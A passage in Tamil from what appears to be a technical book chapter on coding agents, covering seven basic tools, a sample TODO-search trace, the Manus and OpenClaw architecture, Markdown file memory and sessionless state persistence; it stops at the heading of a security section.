குறியீட்டு ஏஜெண்ட் மற்றும் குறியீடு உருவாக்கம்

முந்தைய அத்தியாயங்கள் சூழல் பொறியியல் (அத்தியாயங்கள் 2 மற்றும் 3) மற்றும் கருவி வடிவமைப்பு (அத்தியாயம் 4) பற்றி ஆழமாக விவாதித்தன. இந்த அத்தியாயம் இந்த கூறுகளை ஒருங்கிணைத்து ஒரு மைய கேள்விக்கு பதிலளிக்கிறது: தன்னிச்சையான பணிகளைக் கையாளும் திறன் கொண்ட பொது-நோக்க ஏஜெண்டின் (Agent) கட்டமைப்பு எப்படி இருக்கும்?

பதில்: திறந்த-முடிவு பணிகளை இலக்காகக் கொண்ட ஒரு பொது-நோக்க ஏஜெண்ட் அதன் மையத்தில் ஒரு குறியீட்டு ஏஜெண்டை (Coding Agent) (தானாகவே குறியீட்டை எழுதவும், மாற்றவும், இயக்கவும் கூடிய ஒரு ஏஜெண்ட்) மற்றும் ஒரு கோப்பு முறைமையை (file system) கொண்டுள்ளது — இது ஏஜெண்ட் குறியீடு, தரவு, நினைவகம் மற்றும் இடைநிலை முடிவுகளைச் சேமிக்கும் பணியிடமாகும், இது ஒரு நிரலர் கணினியில் உள்ள கோப்புறைகளைப் பயன்படுத்தி திட்டங்களை நிர்வகிப்பதைப் போன்றது. இந்த முடிவு தொழில்துறை நடைமுறையிலிருந்து வருகிறது — Manus முதல் OpenClaw வரை, வெற்றிகரமான திறந்த-முடிவு பொது-நோக்க ஏஜெண்ட்கள் அனைத்தும் ஒரே மாதிரியைப் பின்பற்றுகின்றன: சிறிய அளவிலான பொதுவான கருவிகளைக் (குறியீடு இயக்கம், கோப்பு படிப்பு/எழுதுதல், தேடல்) கொண்ட ஒரு குறியீட்டு ஏஜெண்ட் இயக்க நேரத்தை (runtime) உருவாக்கி, பின்னர் உலாவி தானியக்கம் மற்றும் வலை தேடல் போன்ற திறன் தொகுதிகளை அதன் மீது சேர்க்கவும். இந்த முடிவின் பொருந்தக்கூடிய எல்லை "Manus முதல் OpenClaw வரை" என்ற பகுதியின் முடிவில் விவாதிக்கப்படும்.

குறியீடு உருவாக்கம் ஏன் இந்த பொறுப்பை ஏற்க முடியும்? ஏனெனில் இது கருவிப்பெட்டியில் உள்ள ஒரு கருவி மட்டுமல்ல, மாறாக ஒரு மெட்டா-திறன் (meta-capability) — இயக்க நேரத்தில் புதிய கருவிகள் மற்றும் திறன்களை மாறும் வகையில் உருவாக்கும் திறன். இந்த அத்தியாயத்தின் பிற்பகுதி ("குறியீடு: ஒரு பொது-நோக்க ஏஜெண்டின் மெட்டா-திறன்" என்ற பகுதி) இந்த கருத்து மற்றும் அதன் ஆறு பயன்பாட்டு திசைகளை முழுமையாக விரிவுபடுத்தும்.

ஒரு ஏஜெண்டுக்கு குறியீட்டின் மதிப்பு இரண்டு நிலைகளில் வெளிப்படுகிறது. சிந்தனையின் (thinking) ஊடகமாக, குறியீடு சிந்தனையை மிகவும் துல்லியமாக்குகிறது — "வயது 18க்கு மேல் மற்றும் அடையாளம் சரிபார்க்கப்பட்டது" என்பது இயற்கை மொழியில் பல விளக்கங்களைக் கொண்டிருக்கலாம், ஆனால் age > 18 and is_verified என எழுதப்பட்டால் அதற்கு ஒரே ஒரு பொருள்தான் உண்டு. வெளிப்பாட்டின் (expression) ஊடகமாக, வெற்றிகரமாக இயங்கும் ஒரு குறியீடு தர்க்கரீதியான நிலைத்தன்மைக்கான சான்றாகும், மேலும் இயக்க முடிவு சரியான தன்மைக்கான ஒரு புறநிலை தரத்தை வழங்குகிறது — இயற்கை மொழியால் இதை அடைய முடியாது.

இந்த அத்தியாயம் ஒரு குறியீட்டு ஏஜெண்டின் அடிப்படை திறன்கள் மற்றும் பொது-நோக்க ஏஜெண்ட் கட்டமைப்புடன் (OpenClaw) தொடங்குகிறது, பின்னர் பல்வேறு சூழ்நிலைகளில் குறியீடு உருவாக்கத்தின் பயன்பாட்டை நிரூபிக்கிறது — கணித பகுத்தறிவு மற்றும் உள்ளடக்க உருவாக்கம் முதல் கணினி-நிலை மெட்டா-திறன்கள் வரை.

குறியீட்டு ஏஜெண்ட்

ஒரு அடிப்படை ஏஜெண்ட் திறனாக குறியீடு

குறியீடு உருவாக்கம் என்பது சில சிறப்பு ஏஜெண்ட்களின் பிரத்யேக களம் அல்ல, மாறாக ஒவ்வொரு பொது-நோக்க ஏஜெண்டும் கொண்டிருக்க வேண்டிய ஒரு அடிப்படை திறன் ஆகும். தற்போதைய SOTA மாதிரிகளுடன், அடிப்படை குறியீட்டு திறனை வழங்குவதற்கு சிக்கலான கட்டமைப்பு தேவையில்லை.

சாதாரணமான ஒரு பணியை எடுத்துக்கொள்வோம்: "களஞ்சியத்தில் உள்ள அனைத்து மீதமுள்ள TODO கருத்துகளையும் ஒழுங்குபடுத்தி, அவற்றை முன்னுரிமை அடிப்படையில் வகைப்படுத்தி, சிக்கல்களை (issues) உருவாக்கவும்." இதை நிறைவேற்ற — கோப்பக அமைப்பை உலாவுதல் (ls/glob), குறியீட்டைப் படித்தல் (read), கோப்புகளை மாற்றியமைத்தல் (edit/write), கட்டளைகளை இயக்குதல் (bash), மற்றும் வடிவங்களைத் தேடுதல் (grep/search) ஆகியவை தேவைப்படுகின்றன. இந்த ஐந்து வகை செயல்பாடுகளும் ஒரு குறியீட்டு ஏஜெண்டின் (Coding Agent) அனைத்து முக்கிய செயல்களையும் உள்ளடக்குகின்றன, மேலும் அவையே கீழே விரிவாக விளக்கப்பட்டுள்ள ஏழு கருவிகளின் தோற்றுவாயாகும். கண்டிப்பாகச் சொல்வதானால், இந்த ஐந்து வகைகளும் இயற்கையாகவே ஆறு கருவிகளுக்கு ஒத்திருக்கின்றன; ஏழாவதான குறியீட்டு விளக்கி (Code Interpreter), "குறியீட்டை இயக்கு/கணக்கிடு" போன்ற செயல்பாடுகளுக்கு ஒத்திருக்கிறது, இது சில செயலாக்கங்களில் Bash உடன் இணைக்கப்படுகிறது — ஏழு கருவிகளும் ஒரு தரப்படுத்தப்பட்ட குறிப்புத் தொகுப்பாகும், மேலும் அவை ஐந்து செயல்பாட்டு வகைகளுடன் கண்டிப்பான ஒன்றுக்கு-ஒன்று பொருத்தம் தேவையில்லை.

ஒரு அடிப்படை குறியீட்டு ஏஜெண்டிற்கு பின்வரும் ஏழு முக்கிய கருவிகள் மட்டுமே பொருத்தப்பட்டிருக்க வேண்டும்:

1. குறியீட்டு விளக்கி (Code Interpreter): பிரதான அமைப்பிலிருந்து தனிமைப்படுத்தப்பட்ட ஒரு பாதுகாப்பான சாண்ட்பாக்ஸ் சூழலை (isolated sandbox environment) வழங்குகிறது (முதன்மை அமைப்பிலிருந்து தனிமைப்படுத்தப்பட்ட பாதுகாப்பான இயக்க நேர இடம், இதில் குறியீடு இயக்கப் பிழைகள் ஹோஸ்ட்டை பாதிக்காது), பைத்தான் குறியீட்டை பாதுகாப்பாக இயக்குகிறது
2. Bash ஷெல் (Bash Shell): டெர்மினலில் கட்டளைகளை இயக்குகிறது, எடுத்துக்காட்டாக, சோதனை வழக்குகளை இயக்குதல் அல்லது சிறப்பு வடிவமைக்கப்பட்ட கோப்புகளை செயலாக்குதல்
3. கோப்பு படிப்பி (Read File Tool): குறியீடு, உள்ளமைவு, ஆவணங்கள், பதிவுகள் போன்றவற்றைப் படிக்கிறது
4. கோப்பு எழுதி (Write File Tool): புதிய கோப்புகளை உருவாக்குகிறது அல்லது ஏற்கனவே உள்ள கோப்புகளை முழுமையாக மேலெழுதுகிறது
5. கோப்பு திருத்தி (Edit File Tool): ஏற்கனவே உள்ள கோப்புகளில் பகுதி மாற்றங்களைச் செய்கிறது, இது குறியீடு பராமரிப்பு மற்றும் மறுசெயலாக்கத்திற்கான முக்கிய செயல்பாடாகும்
6. கோப்பு பெயர் தேடல் கருவி (Glob): வடிவ பொருத்தம் மூலம் கோப்பு முறைமையில் இலக்கு கோப்புகளை விரைவாகக் கண்டறிகிறது, எ.கா., **/*.py ஐப் பயன்படுத்தி ஒரு திட்டத்தில் உள்ள அனைத்து பைத்தான் கோப்புகளையும் கண்டறிதல்
7. கோப்பு உள்ளடக்க தேடல் கருவி (Grep): கோப்பு உள்ளடக்கத்தில் குறிப்பிட்ட உரை வடிவங்களைத் தேடுகிறது, எ.கா., ஒரு குறிப்பிட்ட செயல்பாட்டை அழைக்கும் அனைத்து குறியீட்டு வரிகளையும் கண்டறிதல்

இந்த ஏழு கருவிகளும் ஒரு முழுமையான ஆனால் குறைந்தபட்ச கருவித்தொகுப்பை உருவாக்குகின்றன, இதை எந்த ஏஜெண்ட் அமைப்பும் குறைந்த செலவில் ஒருங்கிணைக்க முடியும். செயலாக்கத்தில், இவை அனைத்தையும் அத்தியாயம் 4 இல் அறிமுகப்படுத்தப்பட்ட MCP நெறிமுறை மூலம் தரப்படுத்தப்பட்ட கருவி சேவைகளாக வெளிப்படுத்த முடியும். இந்த கருவித்தொகுப்பு குறியீட்டு ஏஜெண்டுகளுக்கு மட்டுமே உரிய அடிப்படை உள்ளமைவு என்பதை கவனத்தில் கொள்ளவும், இது அத்தியாயம் 4 இல் அழைப்பு திசை மற்றும் செயல்பாட்டு தன்மை ஆகியவற்றின் அடிப்படையில் வகைப்படுத்தப்பட்ட ஐந்து பொதுவான கருவி வகைகளிலிருந்து (உணர்தல்/செயலாக்கம்/ஒத்துழைப்பு/நிகழ்வு-தூண்டுதல்/பயனர் தொடர்பு) வேறுபட்டது — ஏழு முக்கிய கருவிகள் முக்கியமாக உணர்தல் மற்றும் செயலாக்க வகைகளை உள்ளடக்குகின்றன. வாசகர்கள் கேட்கலாம்: ஒத்துழைப்பு, நிகழ்வு தூண்டுதல் மற்றும் பயனர் தொடர்பு ஆகியவற்றின் தேவைகள் என்ன? — ஒரு குறியீட்டு ஏஜெண்டில், இவை பொதுவாக ஏஜெண்ட் கட்டமைப்பால் (கருவி அடுக்கால் அல்ல) கையாளப்படுகின்றன, எடுத்துக்காட்டாக, துணை-ஏஜெண்ட் ஒப்படைப்பு என்பது கட்டமைப்பின் ஒருங்கிணைப்பு தர்க்கத்தால் நிர்வகிக்கப்படுகிறது, அர்ப்பணிக்கப்பட்ட ஒத்துழைப்பு கருவிகள் மூலம் அல்ல.

இந்த ஏழு கருவிகள் ஒரு எளிய பணியுடன் எவ்வாறு ஒன்றிணைந்து செயல்படுகின்றன என்பதைப் பார்ப்போம். பயனர் சொல்வதாக வைத்துக்கொள்வோம், "திட்டத்தில் உள்ள அனைத்து TODO கருத்துகளின் பட்டியலைத் தொகுக்க எனக்கு உதவுங்கள்":

Agent (சிந்தனை): TODO ஐக் கொண்ட அனைத்து குறியீட்டு வரிகளையும் கண்டுபிடிக்க வேண்டும்.
Agent → Grep("TODO", glob="**/*.py")          # கோப்பு உள்ளடக்கத்தைத் தேடு
Tool returns:
  src/api.py:42: # TODO: விகித வரம்பைச் சேர்
  src/db.py:15:  # TODO: PostgreSQL க்கு மாற்றவும்
  tests/test_api.py:8: # TODO: விளிம்பு நிலை சோதனைகளைச் சேர்

Agent (சிந்தனை): 3 TODO கள் கிடைத்தன, அவற்றை ஒரு பட்டியலாகத் தொகுத்து ஒரு கோப்பில் எழுது.
Agent → Write("TODO_LIST.md", content="...")   # கோப்பை எழுது
Tool returns: கோப்பு உருவாக்கப்பட்டது

Agent: முடிந்தது. 3 TODO உருப்படிகள் கிடைத்தன, பட்டியல் TODO_LIST.md இல் சேமிக்கப்பட்டுள்ளது.

முழு செயல்முறையும் இரண்டு கருவிகளை மட்டுமே பயன்படுத்தியது: Grep (உள்ளடக்கத் தேடல்) மற்றும் Write (கோப்பு எழுதுதல்). பணி மிகவும் சிக்கலானதாக இருந்தால் — எடுத்துக்காட்டாக, "ஒவ்வொரு தொகுதிக்கும் உள்ள TODO களின் எண்ணிக்கையை எண்ணி ஒரு பட்டை விளக்கப்படம் வரையவும்" — Agent புள்ளியியல் மற்றும் வரைபடத்திற்காக Python குறியீட்டை இயக்க Code Interpreter ஐயும் பயன்படுத்தும். ஏழு கருவிகள் எளிமையானவை என்றாலும், அவை இணைந்து பலவிதமான பணிகளைச் செய்ய முடியும்.

ஏன் ஒவ்வொரு பொது-நோக்க Agent க்கும் குறியீடு எழுதும் திறன் இருக்க வேண்டும்? ஏனென்றால், குறியீடு உருவாக்கம் என்பது வெறும் நிரல்களை எழுதுவது மட்டுமல்ல — இது ஒரு பொது-நோக்க சிக்கல் தீர்க்கும் முறையாகும். கணித பகுத்தறிவுக்கு, நீங்கள் குறியீட்டை எழுதி துல்லியமான பதில்களுக்காக ஒரு தீர்வுக்கு அனுப்பலாம்; வணிக விதிகளை உறுதிப்படுத்த, குறியீடு இயற்கை மொழி விளக்கங்களை விட மிகவும் துல்லியமானது; ஒரு கருவி இல்லை என்றால், நீங்கள் அதை இயக்கத்தில் எழுதலாம்; தரவு வடிவம் மாறினால், நீங்கள் மாறும் வகையில் பாகுபடுத்தும் தர்க்கத்தை உருவாக்கலாம். இந்த அத்தியாயத்தின் அடுத்தடுத்த பகுதிகள் இந்த சூழ்நிலைகளை ஒவ்வொன்றாக விளக்கும். அடிப்படை குறியீடு எழுதும் திறன் கொண்ட ஒரு Agent, அதன் கருவிப்பெட்டியில் மேலே குறிப்பிட்ட ஏழு எளிய கருவிகள் மட்டுமே இருந்தாலும், புதிய தேவைகளை எதிர்கொள்ளும்போது அதன் திறன் எல்லைகளை மாறும் வகையில் நீட்டிக்க முடியும்.

வழக்கு ஆய்வு: Manus முதல் OpenClaw வரை — பொது-நோக்க Agent களின் குறியீடு மையம்

Manus ஆல் பிரதிநிதித்துவப்படுத்தப்படும் பொது-நோக்க Agent தயாரிப்புகள் மூன்று முக்கிய திறன்களை — Deep Research, Computer Use மற்றும் Coding — ஒரே அமைப்பில் ஒருங்கிணைக்கின்றன, இது பல்வேறு நடைமுறைகளால் மீண்டும் மீண்டும் சரிபார்க்கப்பட்ட ஒரு நுண்ணறிவை எடுத்துக்காட்டுகிறது: ஒரு Coding Agent மற்றும் ஒரு கோப்பு முறைமை ஆகியவை திறந்த-முடிவு பொது-நோக்க Agent களுக்கான மிக அடிப்படையான தொழில்நுட்ப அடித்தளமாகும். திறந்த மூல திட்டமான OpenClaw இதேபோன்ற அணுகுமுறையைப் பின்பற்றுகிறது, திறந்த மூல நடைமுறை மூலம் இந்த கட்டிடக்கலை முன்னுதாரணத்தை நிரூபிக்கிறது.

குறியீட்டு ஏஜெண்ட் ஏன் மற்ற இரண்டை விட மையமாக உள்ளது? ஏனென்றால், திறமையான உள்ளடக்க உருவாக்கம் கிட்டத்தட்ட அனைத்தும் இறுதியில் குறியீடாகவே மாறுகிறது. ஒரு PPT என்பது அடிப்படையில் OOXML வடிவத்தில் (Office Open XML, அலுவலக ஆவணங்களுக்கான Microsoft இன் திறந்த தரநிலை) உள்ள குறியீடு; Word ஆவணங்கள் மற்றும் PDF அறிக்கைகளை குறியீடு மூலம் உருவாக்க முடியும்; தரவு பகுப்பாய்வு மற்றும் காட்சிப்படுத்தல் Python ஸ்கிரிப்ட்களால் செய்யப்படுகிறது; GUI கையாளுதலில் வெற்றிகரமான உலாவி செயல்பாட்டு வரிசைகள் கூட மீண்டும் பயன்படுத்தக்கூடிய RPA (Robotic Process Automation) குறியீடாக உறுதிப்படுத்தப்படலாம் (Computer Use பற்றி அத்தியாயம் 9 இல் விரிவாக விளக்கப்பட்டுள்ளது, மேலும் செயல்பாட்டு வரிசைகளை உறுதிப்படுத்தும் வழிமுறை அத்தியாயம் 8 இல் விளக்கப்பட்டுள்ளது). Deep Research இன் தேடல் மற்றும் தகவல் தொகுப்பு ஆகியவை குறியீடு மூலம் இயக்கப்படும் வலை கோரிக்கைகள் மற்றும் பாகுபடுத்தல் மூலம் அடைய முடியும். Computer Use மிகவும் பல்துறை திறன் கொண்டதாக இருந்தாலும், செலவு, தாமதம் மற்றும் நிலைத்தன்மை ஆகியவற்றில் அது, அதே செயல்பாடுகளை நேரடியாக குறியீடு அல்லது APIகள் மூலம் முடிப்பதை விட வெகுவாகப் பின்தங்கியுள்ளது. குறியீடு உருவாக்கம் மிகவும் திறமையான, மிகக் குறைந்த செலவு மற்றும் மிகவும் மீண்டும் பயன்படுத்தக்கூடிய திறன் அடித்தளமாகும்.

ஒரு உறுதியான செயல்பாட்டு ஓட்டத்தின் மூலம் இந்த கட்டமைப்பைப் புரிந்துகொள்வோம். பயனர், "கடந்த காலாண்டின் விற்பனைத் தரவை பகுப்பாய்வு செய்து ஒரு சுருக்க அறிக்கையை உருவாக்கவும்" என்று கோருகிறார் என்று வைத்துக்கொள்வோம்:

1. நினைவகத்தைப் படித்தல்: ஏஜெண்ட் MEMORY.md ஐப் படித்து, பயனர் PDF வடிவ அறிக்கைகளை விரும்புகிறார் மற்றும் தரவு மூலமானது Google Sheets என்பதைக் கண்டறிகிறது
2. கருவிகளை அழைத்தல்: வலை தேடல் தொகுதி மூலம் Google Sheets API க்கான பயன்பாட்டு வழிமுறைகளைப் பெறுகிறது, குறியீடு செயலாக்கம் மூலம் தரவைப் பதிவிறக்குகிறது
3. குறியீடு எழுதுதல்: Python இல் ஒரு தரவு பகுப்பாய்வு ஸ்கிரிப்டை உருவாக்குகிறது (pandas ஒருங்கிணைப்பு, matplotlib காட்சிப்படுத்தல்)
4. கலைப்பொருட்களை உருவாக்குதல்: பகுப்பாய்வு முடிவுகளை report.pdf க்கும், விளக்கப்படங்களை charts/ கோப்பகத்திற்கும் எழுதுகிறது
5. நினைவகத்தைப் புதுப்பித்தல்: "பயனரின் விற்பனைத் தரவு Google Sheets இல் உள்ளது, ID: xxx" என்று MEMORY.md இல் பதிவு செய்கிறது, அடுத்த முறை கேட்க வேண்டியதில்லை

இந்த முழு செயல்முறையிலும், கோப்பு முறைமை தகவல் ஓட்டத்தின் மையப் புள்ளியாகும் — நினைவகம் கோப்புகளிலிருந்து படிக்கப்படுகிறது, கலைப்பொருட்கள் கோப்புகளுக்கு எழுதப்படுகின்றன, மேலும் அனுபவமும் கோப்புகளாக சேமிக்கப்படுகிறது.

கோப்பு முறைமை ஏஜெண்ட்டின் மையப் புள்ளியாக. OpenClaw இன் வடிவமைப்பில், கோப்பு முறைமை என்பது வெறும் தரவு சேமிப்பகம் அல்ல — இது ஏஜெண்ட்டின் நினைவகம், அறிவு மற்றும் திறன்களுக்கான மையப் புள்ளியாகும். ஏஜெண்ட்டின் நீண்டகால நினைவகம் MEMORY.md (உயர்-நிலை உண்மைகள் மற்றும் பயனர் விருப்பங்கள்) மற்றும் தேதியின்படி காப்பகப்படுத்தப்பட்ட Markdown பதிவுகளில் சேமிக்கப்படுகிறது. Markdown ஐ வெக்டர் தரவுத்தளத்திற்குப் பதிலாகத் தேர்ந்தெடுப்பது எதிர்மறையாகத் தோன்றலாம், ஆனால் இது மிகவும் பயனுள்ளதாக இருக்கிறது: பயனர்கள் நேரடியாக கோப்புகளைத் திறந்து ஏஜெண்ட்டின் நினைவகத்தைப் படித்து மாற்றலாம் (ஏஜெண்ட் ஏதாவது தவறாக நினைவில் வைத்திருந்தால், அந்த வரியை நீக்கினால் போதும்), Markdown இயற்கையாகவே காலவரிசைப்படி ஒழுங்கைப் பாதுகாத்து சொற்பொருள் மீட்டெடுப்பில் காலக் குழப்பத்தைத் தவிர்க்கிறது, மேலும் இது Git மூலம் பதிப்புக் கட்டுப்பாடு மற்றும் மீளமைப்பை ஆதரிக்கிறது.

மேலும் முக்கியமாக, Agent க்கு கோப்புகளை எழுதும் திறன் உள்ளது, அதாவது எழுதுவதன் மூலம் அது தன்னைத்தானே மேம்படுத்திக் கொள்ள முடியும். ஒரு Agent முதல் முறையாக ஒரு பணியைச் செய்து, முன்பு தெரியாத முக்கிய தகவலைக் கண்டறிந்தால் (எ.கா., ஒரு குறிப்பிட்ட வங்கியை அழைக்கும்போது, அந்த வங்கிக்கு கணக்கின் கிளை முகவரி அடையாளச் சரிபார்ப்புக்குத் தேவை என்பதை அறிந்தால்), அந்த அனுபவத்தை அறிவுத் தளத்தில் எழுதி, அடுத்த முறை அதே பணியைச் செய்யும்போது தானாகவே ஏற்றிக் கொள்ளும். இந்த "பயன்பாட்டில் அதிக அறிவு பெறுதல்" பொறிமுறையானது, அத்தியாயம் 8 இல் ஆழமாக விவாதிக்கப்படும் வெளிப்புறமயமாக்கப்பட்ட கற்றல் முன்னுதாரணத்தின் (externalized learning paradigm) ஒரு உறுதியான நடைமுறையாகும்.

பயன்பாட்டு எல்லை: எந்த Agent களுக்கு குறியீடு எழுதுதல் மைய கட்டமைப்பாக உள்ளது. "குறியீடு எழுதும் Agent தான் பொது-நோக்க Agent இன் மையம்" என்ற முடிவு முக்கியமாக திறந்த-முடிவு பணிகளை இலக்காகக் கொண்ட பொது-நோக்க Agent களுக்கு பொருந்தும் — ஆழமான ஆராய்ச்சி, உள்ளடக்க உருவாக்கம் மற்றும் தரவு செயலாக்கம் போன்ற சூழ்நிலைகள், அங்கு பணி எல்லைகள் நிச்சயமற்றவை மற்றும் கலைப்பொருட்களின் வடிவங்கள் பல்வேறுபட்டவை. இந்த சூழ்நிலைகளில், தேவையான அனைத்து கருவிகளையும் முன்கூட்டியே பட்டியலிட முடியாது; குறியீடு உருவாக்கம், ஒரு மெட்டா-திறனாக (meta-capability), திறன் எல்லைகளை மாறும் வகையில் விரிவுபடுத்துவதற்கான மிகவும் சிக்கனமான பாதையை வழங்குகிறது, இதனால் அது கட்டமைப்பின் மையமாகிறது. மற்றொரு வகை Agent — செங்குத்து கள வாடிக்கையாளர் சேவை Agent கள், குரல் உதவியாளர்கள் — ஒப்பீட்டளவில் மூடிய பணி இடைவெளிகளைக் கொண்டுள்ளன, அவற்றின் மைய கட்டமைப்புகள் நிலையான வணிக செயல்முறைகள், கள கருவிகள் மற்றும் உரையாடல் உத்திகளைச் சுற்றி கட்டமைக்கப்பட்டுள்ளன; இங்கு குறியீடு என்பது கருவிப்பெட்டியில் உள்ள ஒரு கருவியே தவிர, கட்டமைப்பின் மையப் புள்ளி அல்ல (இந்த அத்தியாயத்தில் பின்னர் வரும் τ-bench எடுத்துக்காட்டில் — வாடிக்கையாளர் சேவை சூழ்நிலைகளை உருவகப்படுத்தும் ஒரு benchmark — குறியீடு ஒரு கொள்கை சரிபார்ப்பு கருவியின் பாத்திரத்தையே வகிக்கிறது). இருப்பினும், பிந்தைய வகையிலும் கூட, குறியீடு எழுதுதல் ஒரு தவிர்க்க முடியாத அடிப்படைத் திறனாகும்: துல்லியமான கணக்கீடு, தரவு செயலாக்கம் மற்றும் விதி சரிபார்ப்பு அனைத்தும் அதைச் சார்ந்துள்ளன — இது முந்தைய பகுதியில் கூறப்பட்ட "ஒரு அடிப்படை Agent திறனாக குறியீடு எழுதுதல்" என்ற கூற்றுடன் ஒத்துப்போகிறது: குறியீடு மைய கட்டமைப்பாக உள்ளதா என்பது சூழலைப் பொறுத்தது, ஆனால் குறியீடு எழுதும் திறனைக் கொண்டிருப்பது அனைத்து Agent களுக்கும் பொதுவான அடிப்படைத் தேவையாகும்.

அமர்வு இல்லாத வடிவமைப்பு (Sessionless Design)

அடுத்து, இரண்டு வடிவமைப்புகளைப் பற்றி விவாதிப்போம் — "எப்போதும் கிடைக்கும்" தொடர்பு முறை மற்றும் பாதுகாப்பு கட்டமைப்பு — இவை முதல் பார்வையில் குறியீடு எழுதும் Agent தலைப்புடன் தொடர்பில்லாததாகத் தோன்றலாம். இருப்பினும், அவை Agent குறியீடு செயல்படுத்தல் சூழல் மற்றும் கோப்பு முறைமை நிலையை எவ்வாறு நிர்வகிக்கிறது என்பதை நேரடியாக தீர்மானிக்கின்றன, இவை ஒரு குறியீடு எழுதும் Agent இன் முக்கிய கவலைகளாகும். (ஒரு குறியீடு எழுதும் Agent எவ்வாறு படிப்படியாக செயல்படுகிறது என்பதை முதலில் புரிந்து கொள்ள விரும்பும் வாசகர்கள், பின்னர் வரும் "ஒரு குறியீட்டு ஏஜெண்ட்டின் ஒட்டுமொத்த பணிப்பாய்வு" பகுதிக்குச் சென்று, பின்னர் தொடர்பு மற்றும் பாதுகாப்பு வடிவமைப்பிற்காக இங்கு திரும்பலாம்.)

OpenClaw ஒரு Sessionless வடிவமைப்பைப் பின்பற்றுகிறது: நிறுவல், உள்நுழைவு அல்லது "பயன்பாட்டைத் திற" போன்ற படிகள் எதுவும் இல்லை; Agent எப்போதும் ஆன்லைனில் இருக்கும், மேலும் பயனர்கள் தாங்கள் ஏற்கனவே பயன்படுத்தும் செய்தியிடல் தளம் மூலம் எந்த நேரத்திலும் ஒரு செய்தியை அனுப்பி பதிலைப் பெறலாம் — இந்த தொடர்பு முறை மற்றும் அதன் அடிப்படையிலான Gateway செய்தி வழிப்படுத்தல் மற்றும் நிகழ்வு-உந்துதல் கட்டமைப்பு ஆகியவை அத்தியாயம் 4 இன் பயனர் தொடர்பு கருவி பகுதியில் விரிவாக விவாதிக்கப்பட்டுள்ளன, எனவே இங்கு மீண்டும் கூறப்படவில்லை. இந்த முறை செயல்படுவதற்கான முன்நிபந்தனையை வலியுறுத்துவது முக்கியம்: பெரிய மாதிரிகள் ஒரு புதிய வகையான "அறிவார்ந்த அடித்தளமாக" செயல்படும் அளவுக்கு முதிர்ச்சியடைந்துள்ளன — பாரம்பரிய இயக்க முறைமை வன்பொருளை சுருக்கி மேல்-நிலை பயன்பாடுகளுக்கு ஒருங்கிணைந்த இடைமுகத்தை வழங்குவது போல, பெரிய மாதிரிகள் மொழி புரிதல், பகுத்தறிதல் மற்றும் திட்டமிடல் ஆகியவற்றின் சிக்கலை சுருக்கி, மேல்-நிலை Agents களுக்கு ஒருங்கிணைந்த அறிவார்ந்த சுருக்கத்தை வழங்குகின்றன. இந்த அடித்தளத்தின் காரணமாகவே, "எப்போதும் ஆன்லைன் + உடனடி பதில்" என்ற முறையை குறைந்த செலவில் பொறியியல் ரீதியாக செயல்படுத்த முடிகிறது.

ஒரு Coding Agent க்கு, Sessionless இன் உண்மையான பொறியியல் சவால் செய்திகளுக்கு இடையே குறியீடு செயல்படுத்தும் சூழலும் கோப்பு முறைமை நிலையும் எவ்வாறு நீடித்திருக்கும் என்பதாகும். இரண்டு பயனர் செய்திகள் சில நிமிடங்கள் இடைவெளியில் அல்லது பல நாட்கள் இடைவெளியில் இருக்கலாம், மேலும் Agent இன் பணியானது அதிக அளவிலான மறைமுக நிலையைச் சார்ந்துள்ளது: சாண்ட்பாக்ஸில் நிறுவப்பட்ட சார்பு தொகுப்புகள், டெர்மினல் அமர்வில் உள்ள வேலை செய்யும் கோப்பகம் மற்றும் சூழல் மாறிகள், பின்னணியில் இயங்கும் மேம்பாட்டு சேவையகம், பாதியில் எழுதப்பட்ட கோப்புகள். OpenClaw இன் அணுகுமுறை நிலையை இரண்டு அடுக்குகளில் நிர்வகிப்பதாகும். கோப்பு முறைமை நிலை இயல்பாகவே நீடித்திருக்கும் — பணியிட கோப்பகம் சாண்ட்பாக்ஸுக்கு வெளியே நீடித்த சேமிப்பகத்தில் பொருத்தப்பட்டுள்ளது, எனவே குறியீடு, தரவு மற்றும் இடைநிலை விளைபொருட்கள் செய்திகள் மற்றும் சாண்ட்பாக்ஸ் மறுதொடக்கங்களுக்கு இடையே நிலைத்திருக்கும்; இது "கோப்பு முறைமை Agent இன் மையப் புள்ளியாக" இருப்பதன் மற்றொரு பொருளாகும். செயல்முறை நிலை இயக்கத்தில் வைக்கப்படுகிறது அல்லது தேவைக்கேற்ப மீண்டும் உருவாக்கப்படுகிறது — சாண்ட்பாக்ஸும் அதன் டெர்மினல் அமர்வும் செயலில் உள்ள காலங்களில் இயங்கிக்கொண்டே இருக்கும், இது குளிர் தொடக்கங்களைத் தவிர்க்கவும், ஒவ்வொரு செய்திக்கும் மீண்டும் கோப்பகங்களை மாற்றுவதையும் மெய்நிகர் சூழல்களை மீண்டும் செயல்படுத்துவதையும் தவிர்க்கவும் உதவுகிறது; அவை செயலற்ற நேர வரம்புக்குப் பிறகு வளங்களை மீட்டெடுக்க அழிக்கப்படுகின்றன, ஆனால் அழிப்பதற்கு முன், வரிசைப்படுத்தக்கூடிய சூழல் நிலை (வேலை செய்யும் கோப்பகம், சூழல் மாறிகள், பின்னணி பணி பட்டியல்) பணியிட கோப்புகளில் பதிவு செய்யப்படுகிறது, மேலும் அடுத்த விழிப்புணர்வின் போது Agent இந்த பதிவுகளிலிருந்து மீண்டும் உருவாக்குகிறது. இந்த அத்தியாயத்தின் பிற்பகுதியில் "கட்டளை செயல்படுத்தும் சூழலில் நிலை நிலைத்தன்மை" பகுதியில் விவாதிக்கப்பட்ட நீடித்த டெர்மினல் அமர்வு, இதே வழிமுறையின் ஒற்றைப் பணிக்குள் அமையும் இணை வடிவமாகும்; Sessionless அதே சிக்கலை செய்திகள் மற்றும் நாட்கள் வரையிலான நேர அளவுகோலுக்கு நீட்டிக்கிறது.

Sessionless என்பது பராமரிப்பு இல்லாதது அல்ல — ஒவ்வொரு பயனர் செய்தியும் முழு பயணப்பாதை மற்றும் வேலை நிலையை மீண்டும் ஏற்ற வேண்டும் என்பதை இது குறிக்கிறது, இதனால் நிலை வரிசைப்படுத்தல் (state serialization) திறன் மற்றும் பயணப்பாதை சுருக்க உத்திகள் மீது அதிக கோரிக்கைகளை விதிக்கிறது; பயணப்பாதை சுருக்கத்தின் வடிவமைப்பு கொள்கைகள் அத்தியாயம் 2 இன் "சூழல் சுருக்க உத்திகள்" பகுதியில் ஏற்கனவே விவாதிக்கப்பட்டுள்ளன, அதேசமயம் இந்த அத்தியாயம் Sessionless கட்டமைப்பின் கீழ் உள்ள பொறியியல் வர்த்தக-பரிமாற்றங்களை மையமாகக் கொண்டுள்ளது.

குறியீட்டு ஏஜெண்ட்டுக்கான பாதுகாப்பு

